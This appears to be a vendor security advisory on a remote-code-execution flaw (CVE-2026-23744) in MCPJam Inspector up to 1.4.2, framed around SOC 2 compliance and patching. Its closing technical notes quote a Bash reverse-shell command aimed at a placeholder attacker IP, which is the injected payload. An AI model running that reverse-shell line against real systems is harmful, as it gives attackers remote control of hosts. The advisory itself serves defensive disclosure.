Remote Code Execution Vulnerability (CVE‑2026‑23744) Discovered in MCPJam Inspector Versions ≤ 1.4.2
What Happened — A new remote‑code‑execution flaw (CVE‑2026‑23744) was disclosed for MCPJam Inspector, a web‑application inspection tool. The vulnerability affects all releases up to 1.4.2 and allows an unauthenticated attacker to execute arbitrary shell commands on the host running the service via the /api/mcp/connect endpoint.
Why It Matters for Compliance & Audit Readiness
- The flaw directly violates SOC 2 CC6 (System Operations) and CC7 (Change Management) requirements that mandate timely patching of critical vulnerabilities.
- Continuous‑compliance programs need to capture evidence that vulnerable assets are inventoried, monitored, and remediated within defined SLA windows.
- Verisq’s Control Mapping capability lets you map this CVE to the relevant SOC 2 controls and automatically collect remediation evidence for audit reviewers.
Who Is Affected — SaaS providers, DevOps teams, and any organization that runs MCPJam Inspector in production (primarily TECH_SAAS and OTHER vendor types).
Recommended Actions
- Immediately upgrade to MCPJam Inspector 1.4.3 or later, or apply any vendor‑issued patches.
- Add the CVE to your vulnerability‑management inventory and record remediation dates as audit evidence.
- Map the remediation activity to SOC 2 CC6/CC7 controls using a control‑mapping tool to maintain a defensible audit trail.
Technical Notes — The exploit sends a JSON payload that injects a Bash reverse‑shell command (bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1). It works against any platform where the inspector runs (tested on Debian). No authentication is required. Source: Exploit‑DB 52625